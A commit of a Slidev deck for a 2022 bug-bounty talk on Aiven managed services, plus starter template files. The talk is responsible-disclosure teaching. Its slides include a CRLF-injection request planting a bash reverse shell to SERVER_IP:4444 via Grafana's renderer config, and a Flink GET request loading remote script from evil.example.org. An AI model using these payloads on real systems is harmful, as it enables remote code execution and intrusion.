Projects STRLCPY helsec-1103 Commits d19f192e
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    .gitignore
     1 +node_modules
     2 +.DS_Store
     3 +dist
     4 +*.local
     5 +index.html
     6 +.remote-assets
     7 +components.d.ts
     8 + 
  • ■ ■ ■ ■ ■ ■
    .npmrc
     1 +# for pnpm
     2 +shamefully-hoist=true
     3 +auto-install-peers=true
     4 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# Welcome to [Slidev](https://github.com/slidevjs/slidev)!
     2 + 
     3 +To start the slide show:
     4 + 
     5 +- `npm install`
     6 +- `npm run dev`
     7 +- visit http://localhost:3030
     8 + 
     9 +Edit the [slides.md](./slides.md) to see the changes.
     10 + 
     11 +Learn more about Slidev on [documentations](https://sli.dev/).
     12 + 
  • ■ ■ ■ ■ ■ ■
    components/Counter.vue
     1 +<script setup lang="ts">
     2 +import { ref } from 'vue'
     3 + 
     4 +const props = defineProps({
     5 + count: {
     6 + default: 0,
     7 + },
     8 +})
     9 + 
     10 +const counter = ref(props.count)
     11 +</script>
     12 + 
     13 +<template>
     14 + <div flex="~" w="min" border="~ gray-400 opacity-50 rounded-md">
     15 + <button
     16 + border="r gray-400 opacity-50"
     17 + p="2"
     18 + font="mono"
     19 + outline="!none"
     20 + hover:bg="gray-400 opacity-20"
     21 + @click="counter -= 1"
     22 + >
     23 + -
     24 + </button>
     25 + <span m="auto" p="2">{{ counter }}</span>
     26 + <button
     27 + border="l gray-400 opacity-50"
     28 + p="2"
     29 + font="mono"
     30 + outline="!none"
     31 + hover:bg="gray-400 opacity-20"
     32 + @click="counter += 1"
     33 + >
     34 + +
     35 + </button>
     36 + </div>
     37 +</template>
     38 + 
  • helsec-0311.pdf
    Binary file.
  • img/aiven_dashboard.png
  • img/aiven_rank.png
  • img/grafana_aiven_config.png
  • img/grafana_doc1.png
  • img/grafana_rendering1.png
  • img/grafana_rendering2.png
  • img/grafana_rendering3.png
  • img/report_grafana_reward.png
  • img/rewards.png
  • img/rewards_highlighted.png
  • img/services.png
  • img/severity.png
  • img/severity_highlighted.png
  • img/stats.png
  • ■ ■ ■ ■ ■ ■
    netlify.toml
     1 +[build.environment]
     2 + NODE_VERSION = "14"
     3 + 
     4 +[build]
     5 + publish = "dist"
     6 + command = "npm run build"
     7 + 
     8 +[[redirects]]
     9 + from = "/*"
     10 + to = "/index.html"
     11 + status = 200
     12 + 
  • package-lock.json
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    package.json
     1 +{
     2 + "name": "hajysec-1022",
     3 + "private": true,
     4 + "scripts": {
     5 + "build": "slidev build",
     6 + "dev": "slidev --open",
     7 + "export": "slidev export"
     8 + },
     9 + "dependencies": {
     10 + "@slidev/cli": "^0.36.5",
     11 + "@slidev/theme-bricks": "^0.0.2",
     12 + "@slidev/theme-default": "*",
     13 + "@slidev/theme-seriph": "*",
     14 + "slidev-theme-purplin": "^1.1.0"
     15 + },
     16 + "devDependencies": {
     17 + "playwright-chromium": "^1.27.1"
     18 + }
     19 +}
     20 + 
  • ■ ■ ■ ■ ■ ■
    slides.md
     1 +---
     2 +theme: ./theme
     3 +colorSchema: light
     4 +title: Hacking Aiven managed services for fun and profit
     5 +---
     6 + 
     7 +# Hacking Aiven managed services for fun and profit
     8 + 
     9 +Jari Jääskelä, November 3. 2022, Helsec
     10 + 
     11 +---
     12 +layout: image-x
     13 +image: 'img/stats.png'
     14 +imageOrder: 2
     15 +---
     16 + 
     17 +# # whoami
     18 + 
     19 +- Bug Bounties since 2020
     20 +- "Full-time" for awhile at the start of 2022
     21 + 
     22 +<img src="img/aiven_rank.png"/>
     23 + 
     24 +<BarBottom title="hackerone.com/jarij">
     25 + <Item text="@JJaaskela">
     26 + <carbon:logo-twitter />
     27 + </Item>
     28 +</BarBottom>
     29 + 
     30 + 
     31 +---
     32 +layout: intro
     33 +---
     34 + 
     35 +# Overview
     36 + 
     37 +- About Bug Bounties
     38 +- Aiven Bug Bounty program
     39 +- My approach for huntings bugs through few examples
     40 + 
     41 +---
     42 + 
     43 +# What are Bug Bounties?
     44 + 
     45 +- Hackers rewarded for discovering security issues
     46 +- Reward based on impact
     47 + 
     48 +---
     49 + 
     50 +# What is Aiven?
     51 + 
     52 +- Managed service provider for Grafana, MySQL, PostgreSQL, etc ...
     53 +- Managed services hosted in Google Cloud, AWS, DigitalOcean, ... (customer can configure)
     54 + - Infrastructure exists under Aiven's cloud account
     55 +- Customer does not have code execution access on managed services
     56 + 
     57 +<img src="img/aiven_dashboard.png" style="height: 300px"/>
     58 + 
     59 +---
     60 + 
     61 +# Aiven Bug Bounty program
     62 + 
     63 +<img src="img/services.png" style="height:420px" />
     64 + 
     65 +<BarBottom title="hackerone.com/aiven_ltd">
     66 + <Item text="@JJaaskela">
     67 + <carbon:logo-twitter />
     68 + </Item>
     69 +</BarBottom>
     70 + 
     71 +---
     72 + 
     73 +# Aiven Bug Bounty program
     74 + 
     75 + 
     76 +<img src="img/rewards_highlighted.png" />
     77 + 
     78 +<img src="img/severity_highlighted.png" style="height:225px" />
     79 + 
     80 + 
     81 +<BarBottom title="hackerone.com/aiven_ltd">
     82 + <Item text="@JJaaskela">
     83 + <carbon:logo-twitter />
     84 + </Item>
     85 +</BarBottom>
     86 + 
     87 +---
     88 + 
     89 +# Grafana RCE (1)
     90 + 
     91 + 
     92 +<img src="img/grafana_aiven_config.png" style="height:400px"/>
     93 + 
     94 +- How the web backend updates the Grafana configuration?
     95 + 
     96 +<BarBottom title="hackerone.com/reports/1200647">
     97 + <Item text="@JJaaskela">
     98 + <carbon:logo-twitter />
     99 + </Item>
     100 +</BarBottom>
     101 + 
     102 +---
     103 + 
     104 +# Grafana RCE (2)
     105 + 
     106 +- Let's look at the Grafana documentation
     107 +<img src="img/grafana_doc1.png"/>
     108 + 
     109 +<BarBottom title="hackerone.com/reports/1200647">
     110 + <Item text="@JJaaskela">
     111 + <carbon:logo-twitter />
     112 + </Item>
     113 +</BarBottom>
     114 + 
     115 +---
     116 + 
     117 +# Grafana RCE (3)
     118 + 
     119 +- Supports configuration via grafana.ini file:
     120 + 
     121 +```txt
     122 +app_mode = production
     123 +instance_name = ${HOSTNAME}
     124 +force_migration = false
     125 + 
     126 +[paths]
     127 +data = data
     128 +temp_data_lifetime = 24h
     129 +logs = data/log
     130 +plugins = data/plugins
     131 +provisioning = conf/provisioning
     132 +[server]
     133 +# Protocol (http, https, h2, socket)
     134 +protocol = http
     135 +```
     136 + 
     137 +<BarBottom title="hackerone.com/reports/1200647">
     138 + <Item text="@JJaaskela">
     139 + <carbon:logo-twitter />
     140 + </Item>
     141 +</BarBottom>
     142 + 
     143 +---
     144 + 
     145 +# Grafana RCE (3)
     146 + 
     147 +- Likely Aiven creates grafana.ini dynamically from user input
     148 + 
     149 +<BarBottom title="hackerone.com/reports/1200647">
     150 + <Item text="@JJaaskela">
     151 + <carbon:logo-twitter />
     152 + </Item>
     153 +</BarBottom>
     154 + 
     155 +---
     156 + 
     157 +# Grafana RCE (4)
     158 + 
     159 +- Q1: Can we edit unsupported configuration options by injecting newline characters?
     160 +- Q2: How this could be escalated to Remote Command Execution (RCE)?
     161 + 
     162 +<BarBottom title="hackerone.com/reports/1200647">
     163 + <Item text="@JJaaskela">
     164 + <carbon:logo-twitter />
     165 + </Item>
     166 +</BarBottom>
     167 + 
     168 +---
     169 + 
     170 +# Grafana RCE (5) - Q1
     171 + 
     172 +- Testing for CRLF injection (\r\n) AKA newline injection
     173 +- <b>API input validation schema in Github:</b>
     174 + - github.com/aiven/terraform-provider-aiven/aiven/templates/service_user_config_schema.json
     175 + 
     176 +<BarBottom title="hackerone.com/reports/1200647">
     177 + <Item text="@JJaaskela">
     178 + <carbon:logo-twitter />
     179 + </Item>
     180 +</BarBottom>
     181 + 
     182 +---
     183 + 
     184 +# Grafana RCE (6) - Q1
     185 + 
     186 +Example input validation entry:
     187 +```json
     188 +"recovery_basebackup_name": {
     189 + "example": "backup-20191112t091354293891z",
     190 + "maxLength": 128,
     191 + "pattern": "^[a-zA-Z0-9-_:.]+$",
     192 + "title": "Name of the basebackup to restore in forked service",
     193 + "type": "string"
     194 +}
     195 +```
     196 + 
     197 +- Regex pattern validation
     198 +- `$` at the end == matches the end of the line == input cannot contain new line
     199 + 
     200 +<BarBottom title="hackerone.com/reports/1200647">
     201 + <Item text="@JJaaskela">
     202 + <carbon:logo-twitter />
     203 + </Item>
     204 +</BarBottom>
     205 + 
     206 +---
     207 + 
     208 +# Grafana RCE (7) - Q1
     209 + 
     210 +SMTP server parameters missing regex validation. CRLF injection possible!!!
     211 + 
     212 +```json
     213 + "smtp_server": {
     214 + "additionalproperties": false,
     215 + "properties": {
     216 + "from_name": {
     217 + "maxLength": 128,
     218 + "type": [
     219 + "string"
     220 + ]
     221 + },
     222 + "host": {
     223 + "maxLength": 255,
     224 + "type": "string"
     225 + },
     226 + "password": {
     227 + "maxLength": 255,
     228 + "type": [
     229 + "string"
     230 + ]
     231 + }
     232 + }
     233 + }
     234 +```
     235 + 
     236 +<BarBottom title="hackerone.com/reports/1200647">
     237 + <Item text="@JJaaskela">
     238 + <carbon:logo-twitter />
     239 + </Item>
     240 +</BarBottom>
     241 + 
     242 +---
     243 + 
     244 +# Grafana RCE (x)
     245 + 
     246 +- Q1: Can we edit unsupported configuration options by injecting newline characters? ✅
     247 +- <b>Q2: How this could be escalated to Remote Command Execution (RCE)?</b>
     248 + 
     249 + 
     250 +<BarBottom title="hackerone.com/reports/1200647">
     251 + <Item text="@JJaaskela">
     252 + <carbon:logo-twitter />
     253 + </Item>
     254 +</BarBottom>
     255 + 
     256 +---
     257 + 
     258 +# Grafana RCE (7) - Q2
     259 + 
     260 +<img src="img/grafana_rendering1.png"/>
     261 + 
     262 +<BarBottom title="hackerone.com/reports/1200647">
     263 + <Item text="@JJaaskela">
     264 + <carbon:logo-twitter />
     265 + </Item>
     266 +</BarBottom>
     267 + 
     268 +---
     269 + 
     270 +# Grafana RCE (8) - Q2
     271 + 
     272 +<img src="img/grafana_rendering2.png"/>
     273 + 
     274 +<BarBottom title="hackerone.com/reports/1200647">
     275 + <Item text="@JJaaskela">
     276 + <carbon:logo-twitter />
     277 + </Item>
     278 +</BarBottom>
     279 + 
     280 + 
     281 +---
     282 + 
     283 +# Grafana RCE (x)
     284 + 
     285 +- <https://peter.sh/experiments/chromium-command-line-switches/>:
     286 +<img src="img/grafana_rendering3.png"/>
     287 + 
     288 +<BarBottom title="hackerone.com/reports/1200647">
     289 + <Item text="@JJaaskela">
     290 + <carbon:logo-twitter />
     291 + </Item>
     292 +</BarBottom>
     293 + 
     294 + 
     295 +---
     296 + 
     297 +# Grafana RCE (x)
     298 + 
     299 +- How to establish reverse shell?
     300 +- Bash supports /dev/tcp/SERVER_IP/SERVER_PORT - bash opens tcp connection to SERVER_IP:SERVER_PORT
     301 +- Bash reverse shell: `bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1`
     302 + 
     303 +<BarBottom title="hackerone.com/reports/1200647">
     304 + <Item text="@JJaaskela">
     305 + <carbon:logo-twitter />
     306 + </Item>
     307 +</BarBottom>
     308 + 
     309 +---
     310 + 
     311 +# Grafana RCE (x)
     312 + 
     313 +```txt
     314 +[plugin.grafana-image-renderer]
     315 +rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1
     316 +```
     317 + 
     318 +<BarBottom title="hackerone.com/reports/1200647">
     319 + <Item text="@JJaaskela">
     320 + <carbon:logo-twitter />
     321 + </Item>
     322 +</BarBottom>
     323 + 
     324 +---
     325 + 
     326 +# Grafana RCE (9)
     327 + 
     328 +- For some reason, could not pass whitespaces, had to encode spaces using "$IFS"
     329 + 
     330 +```txt
     331 +[plugin.grafana-image-renderer]
     332 +rendering_args=--renderer-cmd-prefix=bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1
     333 +```
     334 + 
     335 +<BarBottom title="hackerone.com/reports/1200647">
     336 + <Item text="@JJaaskela">
     337 + <carbon:logo-twitter />
     338 + </Item>
     339 +</BarBottom>
     340 + 
     341 +---
     342 + 
     343 +# Grafana RCE (9)
     344 + 
     345 +```http
     346 +PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
     347 +Host: console.aiven.io
     348 +Authorization: aivenv1 AIVEN_TOKEN_HERE
     349 +Content-Type: application/json
     350 + 
     351 +{
     352 + "user_config": {
     353 + "smtp_server": {
     354 + "host": "example.org",
     355 + "port": 1,
     356 + "from_address": "[email protected]",
     357 + "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c
     358 + bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
     359 + }
     360 + }
     361 +}
     362 +```
     363 + 
     364 +- After config update, trigger rendering by browsing to https://GRAFANA_INSTANCE_NAME.aivencloud.com/render/x
     365 + 
     366 +<BarBottom title="hackerone.com/reports/1200647">
     367 + <Item text="@JJaaskela">
     368 + <carbon:logo-twitter />
     369 + </Item>
     370 +</BarBottom>
     371 + 
     372 +---
     373 + 
     374 +# Grafana RCE (10)
     375 + 
     376 +<img src="img/report_grafana_reward.png"/>
     377 + 
     378 +<BarBottom title="hackerone.com/reports/1200647">
     379 + <Item text="@JJaaskela">
     380 + <carbon:logo-twitter />
     381 + </Item>
     382 +</BarBottom>
     383 + 
     384 +---
     385 + 
     386 +# Apache Flink RCE (1)
     387 + 
     388 +- Apache Flink has REST API
     389 +- Aiven blocked access to some REST API endpoints via reverse proxy rules (HAProxy)
     390 +- However, all GET operations were still allowed
     391 + 
     392 + 
     393 +<BarBottom title="hackerone.com/reports/1418891">
     394 + <Item text="@JJaaskela">
     395 + <carbon:logo-twitter />
     396 + </Item>
     397 +</BarBottom>
     398 + 
     399 +---
     400 + 
     401 +# Apache Flink RCE (2)
     402 + 
     403 +Apache Flink Rest API documentation:
     404 + 
     405 +<img src="img/flink-plan-get.png"/>
     406 + 
     407 +- Can specify java class name and class arguments !?! 🤔
     408 +- Potential RCE using GET request!?! What!!!
     409 + 
     410 + 
     411 +<BarBottom title="hackerone.com/reports/1418891">
     412 + <Item text="@JJaaskela">
     413 + <carbon:logo-twitter />
     414 + </Item>
     415 +</BarBottom>
     416 + 
     417 +---
     418 + 
     419 +# Apache Flink RCE
     420 + 
     421 +- Finding the gadget ... TODO
     422 + 
     423 +<BarBottom title="hackerone.com/reports/1418891">
     424 + <Item text="@JJaaskela">
     425 + <carbon:logo-twitter />
     426 + </Item>
     427 +</BarBottom>
     428 + 
     429 +---
     430 + 
     431 +# Apache Flink RCE
     432 + 
     433 +- GET <https://FLINK_INSTANCE_NAME.aivencloud.com/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(https://evil.example.org)&parallelism=1>
     434 + 
     435 +<BarBottom title="hackerone.com/reports/1418891">
     436 + <Item text="@JJaaskela">
     437 + <carbon:logo-twitter />
     438 + </Item>
     439 +</BarBottom>
     440 + 
     441 +---
     442 + 
     443 +# Apache Flink RCE
     444 + 
     445 +<BarBottom title="hackerone.com/reports/1418891">
     446 + <Item text="@JJaaskela">
     447 + <carbon:logo-twitter />
     448 + </Item>
     449 +</BarBottom>
     450 + 
     451 +---
     452 + 
     453 +# Apache Flink RCE
     454 + 
     455 +<img src="img/aiven-flink-rce.png"/>
     456 + 
     457 +<BarBottom title="hackerone.com/reports/1418891">
     458 + <Item text="@JJaaskela">
     459 + <carbon:logo-twitter />
     460 + </Item>
     461 +</BarBottom>
     462 + 
     463 +---
     464 + 
     465 +# Apache Flink RCE - Fun fact
     466 + 
     467 +- 🤔 GET /jars/:jarId/:plan was silently removed in Flink 1.16 (28 Oct 2022) release 🧐
     468 + 
     469 +<BarBottom title="hackerone.com/reports/1418891">
     470 + <Item text="@JJaaskela">
     471 + <carbon:logo-twitter />
     472 + </Item>
     473 +</BarBottom>
  • ■ ■ ■ ■ ■ ■
    slides_example.md
     1 +---
     2 +# try also 'default' to start simple
     3 +theme: seriph
     4 +# random image from a curated Unsplash collection by Anthony
     5 +# like them? see https://unsplash.com/collections/94734566/slidev
     6 +background: https://source.unsplash.com/collection/94734566/1920x1080
     7 +# apply any windi css classes to the current slide
     8 +class: 'text-center'
     9 +# https://sli.dev/custom/highlighters.html
     10 +highlighter: shiki
     11 +# show line numbers in code blocks
     12 +lineNumbers: false
     13 +# some information about the slides, markdown enabled
     14 +info: |
     15 + ## Slidev Starter Template
     16 + Presentation slides for developers.
     17 + 
     18 + Learn more at [Sli.dev](https://sli.dev)
     19 +# persist drawings in exports and build
     20 +drawings:
     21 + persist: false
     22 +# use UnoCSS
     23 +css: unocss
     24 +---
     25 + 
     26 +# Welcome to Slidev
     27 + 
     28 +Presentation slides for developers
     29 + 
     30 +<div class="pt-12">
     31 + <span @click="$slidev.nav.next" class="px-2 py-1 rounded cursor-pointer" hover="bg-white bg-opacity-10">
     32 + Press Space for next page <carbon:arrow-right class="inline"/>
     33 + </span>
     34 +</div>
     35 + 
     36 +<div class="abs-br m-6 flex gap-2">
     37 + <button @click="$slidev.nav.openInEditor()" title="Open in Editor" class="text-xl icon-btn opacity-50 !border-none !hover:text-white">
     38 + <carbon:edit />
     39 + </button>
     40 + <a href="https://github.com/slidevjs/slidev" target="_blank" alt="GitHub"
     41 + class="text-xl icon-btn opacity-50 !border-none !hover:text-white">
     42 + <carbon-logo-github />
     43 + </a>
     44 +</div>
     45 + 
     46 +<!--
     47 +The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)
     48 +-->
     49 + 
     50 +---
     51 + 
     52 +# What is Slidev?
     53 + 
     54 +Slidev is a slides maker and presenter designed for developers, consist of the following features
     55 + 
     56 +- 📝 **Text-based** - focus on the content with Markdown, and then style them later
     57 +- 🎨 **Themable** - theme can be shared and used with npm packages
     58 +- 🧑‍💻 **Developer Friendly** - code highlighting, live coding with autocompletion
     59 +- 🤹 **Interactive** - embedding Vue components to enhance your expressions
     60 +- 🎥 **Recording** - built-in recording and camera view
     61 +- 📤 **Portable** - export into PDF, PNGs, or even a hostable SPA
     62 +- 🛠 **Hackable** - anything possible on a webpage
     63 + 
     64 +<br>
     65 +<br>
     66 + 
     67 +Read more about [Why Slidev?](https://sli.dev/guide/why)
     68 + 
     69 +<!--
     70 +You can have `style` tag in markdown to override the style for the current page.
     71 +Learn more: https://sli.dev/guide/syntax#embedded-styles
     72 +-->
     73 + 
     74 +<style>
     75 +h1 {
     76 + background-color: #2B90B6;
     77 + background-image: linear-gradient(45deg, #4EC5D4 10%, #146b8c 20%);
     78 + background-size: 100%;
     79 + -webkit-background-clip: text;
     80 + -moz-background-clip: text;
     81 + -webkit-text-fill-color: transparent;
     82 + -moz-text-fill-color: transparent;
     83 +}
     84 +</style>
     85 + 
     86 +---
     87 + 
     88 +# Navigation
     89 + 
     90 +Hover on the bottom-left corner to see the navigation's controls panel, [learn more](https://sli.dev/guide/navigation.html)
     91 + 
     92 +### Keyboard Shortcuts
     93 + 
     94 +| | |
     95 +| --- | --- |
     96 +| <kbd>right</kbd> / <kbd>space</kbd>| next animation or slide |
     97 +| <kbd>left</kbd> / <kbd>shift</kbd><kbd>space</kbd> | previous animation or slide |
     98 +| <kbd>up</kbd> | previous slide |
     99 +| <kbd>down</kbd> | next slide |
     100 + 
     101 +<!-- https://sli.dev/guide/animations.html#click-animations -->
     102 +<img
     103 + v-click
     104 + class="absolute -bottom-9 -left-7 w-80 opacity-50"
     105 + src="https://sli.dev/assets/arrow-bottom-left.svg"
     106 +/>
     107 +<p v-after class="absolute bottom-23 left-45 opacity-30 transform -rotate-10">Here!</p>
     108 + 
     109 +---
     110 +layout: image-right
     111 +image: https://source.unsplash.com/collection/94734566/1920x1080
     112 +---
     113 + 
     114 +# Code
     115 + 
     116 +Use code snippets and get the highlighting directly![^1]
     117 + 
     118 +```ts {all|2|1-6|9|all}
     119 +interface User {
     120 + id: number
     121 + firstName: string
     122 + lastName: string
     123 + role: string
     124 +}
     125 + 
     126 +function updateUser(id: number, update: User) {
     127 + const user = getUser(id)
     128 + const newUser = { ...user, ...update }
     129 + saveUser(id, newUser)
     130 +}
     131 +```
     132 + 
     133 +<arrow v-click="3" x1="400" y1="420" x2="230" y2="330" color="#564" width="3" arrowSize="1" />
     134 + 
     135 +[^1]: [Learn More](https://sli.dev/guide/syntax.html#line-highlighting)
     136 + 
     137 +<style>
     138 +.footnotes-sep {
     139 + @apply mt-20 opacity-10;
     140 +}
     141 +.footnotes {
     142 + @apply text-sm opacity-75;
     143 +}
     144 +.footnote-backref {
     145 + display: none;
     146 +}
     147 +</style>
     148 + 
     149 +---
     150 + 
     151 +# Components
     152 + 
     153 +<div grid="~ cols-2 gap-4">
     154 +<div>
     155 + 
     156 +You can use Vue components directly inside your slides.
     157 + 
     158 +We have provided a few built-in components like `<Tweet/>` and `<Youtube/>` that you can use directly. And adding your custom components is also super easy.
     159 + 
     160 +```html
     161 +<Counter :count="10" />
     162 +```
     163 + 
     164 +<!-- ./components/Counter.vue -->
     165 +<Counter :count="10" m="t-4" />
     166 + 
     167 +Check out [the guides](https://sli.dev/builtin/components.html) for more.
     168 + 
     169 +</div>
     170 +<div>
     171 + 
     172 +```html
     173 +<Tweet id="1390115482657726468" />
     174 +```
     175 + 
     176 +<Tweet id="1390115482657726468" scale="0.65" />
     177 + 
     178 +</div>
     179 +</div>
     180 + 
     181 + 
     182 +---
     183 +class: px-20
     184 +---
     185 + 
     186 +# Themes
     187 + 
     188 +Slidev comes with powerful theming support. Themes can provide styles, layouts, components, or even configurations for tools. Switching between themes by just **one edit** in your frontmatter:
     189 + 
     190 +<div grid="~ cols-2 gap-2" m="-t-2">
     191 + 
     192 +```yaml
     193 +---
     194 +theme: default
     195 +---
     196 +```
     197 + 
     198 +```yaml
     199 +---
     200 +theme: seriph
     201 +---
     202 +```
     203 + 
     204 +<img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-default/01.png?raw=true">
     205 + 
     206 +<img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-seriph/01.png?raw=true">
     207 + 
     208 +</div>
     209 + 
     210 +Read more about [How to use a theme](https://sli.dev/themes/use.html) and
     211 +check out the [Awesome Themes Gallery](https://sli.dev/themes/gallery.html).
     212 + 
     213 +---
     214 +preload: false
     215 +---
     216 + 
     217 +# Animations
     218 + 
     219 +Animations are powered by [@vueuse/motion](https://motion.vueuse.org/).
     220 + 
     221 +```html
     222 +<div
     223 + v-motion
     224 + :initial="{ x: -80 }"
     225 + :enter="{ x: 0 }">
     226 + Slidev
     227 +</div>
     228 +```
     229 + 
     230 +<div class="w-60 relative mt-6">
     231 + <div class="relative w-40 h-40">
     232 + <img
     233 + v-motion
     234 + :initial="{ x: 800, y: -100, scale: 1.5, rotate: -50 }"
     235 + :enter="final"
     236 + class="absolute top-0 left-0 right-0 bottom-0"
     237 + src="https://sli.dev/logo-square.png"
     238 + />
     239 + <img
     240 + v-motion
     241 + :initial="{ y: 500, x: -100, scale: 2 }"
     242 + :enter="final"
     243 + class="absolute top-0 left-0 right-0 bottom-0"
     244 + src="https://sli.dev/logo-circle.png"
     245 + />
     246 + <img
     247 + v-motion
     248 + :initial="{ x: 600, y: 400, scale: 2, rotate: 100 }"
     249 + :enter="final"
     250 + class="absolute top-0 left-0 right-0 bottom-0"
     251 + src="https://sli.dev/logo-triangle.png"
     252 + />
     253 + </div>
     254 + 
     255 + <div
     256 + class="text-5xl absolute top-14 left-40 text-[#2B90B6] -z-1"
     257 + v-motion
     258 + :initial="{ x: -80, opacity: 0}"
     259 + :enter="{ x: 0, opacity: 1, transition: { delay: 2000, duration: 1000 } }">
     260 + Slidev
     261 + </div>
     262 +</div>
     263 + 
     264 +<!-- vue script setup scripts can be directly used in markdown, and will only affects current page -->
     265 +<script setup lang="ts">
     266 +const final = {
     267 + x: 0,
     268 + y: 0,
     269 + rotate: 0,
     270 + scale: 1,
     271 + transition: {
     272 + type: 'spring',
     273 + damping: 10,
     274 + stiffness: 20,
     275 + mass: 2
     276 + }
     277 +}
     278 +</script>
     279 + 
     280 +<div
     281 + v-motion
     282 + :initial="{ x:35, y: 40, opacity: 0}"
     283 + :enter="{ y: 0, opacity: 1, transition: { delay: 3500 } }">
     284 + 
     285 +[Learn More](https://sli.dev/guide/animations.html#motion)
     286 + 
     287 +</div>
     288 + 
     289 +---
     290 + 
     291 +# LaTeX
     292 + 
     293 +LaTeX is supported out-of-box powered by [KaTeX](https://katex.org/).
     294 + 
     295 +<br>
     296 + 
     297 +Inline $\sqrt{3x-1}+(1+x)^2$
     298 + 
     299 +Block
     300 +$$
     301 +\begin{array}{c}
     302 + 
     303 +\nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} &
     304 += \frac{4\pi}{c}\vec{\mathbf{j}} \nabla \cdot \vec{\mathbf{E}} & = 4 \pi \rho \\
     305 + 
     306 +\nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} & = \vec{\mathbf{0}} \\
     307 + 
     308 +\nabla \cdot \vec{\mathbf{B}} & = 0
     309 + 
     310 +\end{array}
     311 +$$
     312 + 
     313 +<br>
     314 + 
     315 +[Learn more](https://sli.dev/guide/syntax#latex)
     316 + 
     317 +---
     318 + 
     319 +# Diagrams
     320 + 
     321 +You can create diagrams / graphs from textual descriptions, directly in your Markdown.
     322 + 
     323 +<div class="grid grid-cols-3 gap-10 pt-4 -mb-6">
     324 + 
     325 +```mermaid {scale: 0.5}
     326 +sequenceDiagram
     327 + Alice->John: Hello John, how are you?
     328 + Note over Alice,John: A typical interaction
     329 +```
     330 + 
     331 +```mermaid {theme: 'neutral', scale: 0.8}
     332 +graph TD
     333 +B[Text] --> C{Decision}
     334 +C -->|One| D[Result 1]
     335 +C -->|Two| E[Result 2]
     336 +```
     337 + 
     338 +```plantuml {scale: 0.7}
     339 +@startuml
     340 + 
     341 +package "Some Group" {
     342 + HTTP - [First Component]
     343 + [Another Component]
     344 +}
     345 + 
     346 +node "Other Groups" {
     347 + FTP - [Second Component]
     348 + [First Component] --> FTP
     349 +}
     350 + 
     351 +cloud {
     352 + [Example 1]
     353 +}
     354 + 
     355 + 
     356 +database "MySql" {
     357 + folder "This is my folder" {
     358 + [Folder 3]
     359 + }
     360 + frame "Foo" {
     361 + [Frame 4]
     362 + }
     363 +}
     364 + 
     365 + 
     366 +[Another Component] --> [Example 1]
     367 +[Example 1] --> [Folder 3]
     368 +[Folder 3] --> [Frame 4]
     369 + 
     370 +@enduml
     371 +```
     372 + 
     373 +</div>
     374 + 
     375 +[Learn More](https://sli.dev/guide/syntax.html#diagrams)
     376 + 
     377 + 
     378 +---
     379 +layout: center
     380 +class: text-center
     381 +---
     382 + 
     383 +# Learn More
     384 + 
     385 +[Documentations](https://sli.dev) · [GitHub](https://github.com/slidevjs/slidev) · [Showcases](https://sli.dev/showcases.html)
     386 + 
  • ■ ■ ■ ■ ■ ■
    theme/CHANGELOG.md
     1 +### 1.1.0 (2021-10-27)
     2 + 
     3 +##### Chores
     4 + 
     5 +* upgrade dependencies ([ed0a785b](https://github.com/moudev/slidev-theme-purplin/commit/ed0a785b48c3dcdfda3d8761a03fb60bdca82cc8))
     6 + 
     7 +##### Documentation Changes
     8 + 
     9 +* add build badge ([709df33e](https://github.com/moudev/slidev-theme-purplin/commit/709df33e7a16f8be948587023ec92d2f1a208b4c))
     10 +* add live demo link ([c238dd8a](https://github.com/moudev/slidev-theme-purplin/commit/c238dd8adefc78c64296b7c745fd82e38de1a462))
     11 +* update example slides ([74876443](https://github.com/moudev/slidev-theme-purplin/commit/748764436eae799565b6d72b7a7bd3b3ebf14e5b))
     12 +* update instructions to use BarBottom ([fbcc1275](https://github.com/moudev/slidev-theme-purplin/commit/fbcc12752b7a4077648faffb03d41c3b18213dcf))
     13 + 
     14 +##### New Features
     15 + 
     16 +* add demo ([b8e3c1b8](https://github.com/moudev/slidev-theme-purplin/commit/b8e3c1b8d7e93bd75a08eb055a40741582a24aa4))
     17 + 
     18 +##### Bug Fixes
     19 + 
     20 +* change example images url ([cc468549](https://github.com/moudev/slidev-theme-purplin/commit/cc468549bae0c1646394f6b5297f46b00bdb1e53))
     21 + 
     22 +##### Refactors
     23 + 
     24 +* update BarBottom to display any icon ([9e72f478](https://github.com/moudev/slidev-theme-purplin/commit/9e72f478130c8a450eb49245c46f533eff2c8eac))
     25 + 
     26 +##### Code Style Changes
     27 + 
     28 +* update text section ([dbaacdc6](https://github.com/moudev/slidev-theme-purplin/commit/dbaacdc6c1cf7d433979193e5ec5e6dcc5d5bf35))
     29 + 
     30 +## 1.0.0 (2021-05-17)
     31 + 
     32 +##### Chores
     33 + 
     34 +* add theme information ([4d8f44ca](https://github.com/moudev/slidev-theme-purplin/commit/4d8f44cac77e2812126b53bb40813680bd5aca96))
     35 +* add release github action ([e8407fc5](https://github.com/moudev/slidev-theme-purplin/commit/e8407fc5887a097fe230cd92cf7b3af70de2d119))
     36 +* config release scripts ([c2788204](https://github.com/moudev/slidev-theme-purplin/commit/c278820494b5a0aec0703914f432cd9c9a95e578))
     37 +* init ([dc4eee49](https://github.com/moudev/slidev-theme-purplin/commit/dc4eee49a72b07cdaa850cadb98ec2d51eb19157))
     38 + 
     39 +##### Documentation Changes
     40 + 
